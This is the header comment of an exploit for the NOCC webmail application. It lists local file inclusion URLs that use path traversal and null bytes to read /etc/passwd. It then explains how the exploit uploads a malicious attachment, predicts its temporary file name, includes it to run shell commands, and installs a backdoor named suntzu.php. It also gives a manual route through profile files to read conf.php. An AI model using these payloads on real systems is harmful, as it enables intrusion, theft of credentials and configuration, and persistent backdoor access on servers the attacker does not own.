/* short explaination:
   we have various arbitrary local inclusion issues, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00

   This code upload an evil mail attachment (file is renamed by NOCC...).
   After, it tries to include it, predicting its name and its location, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00

   If succeeded, it installs  a backdoor called suntzu.php on target server.

   To launch this exploit you need a POP3 account on a machine of your choice,
   you need to supply servername, username & password.

   a note:
   you can do the same manually and more quickly with profile files, if
   enabled, ex:
   edit your profile, then:

   http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00
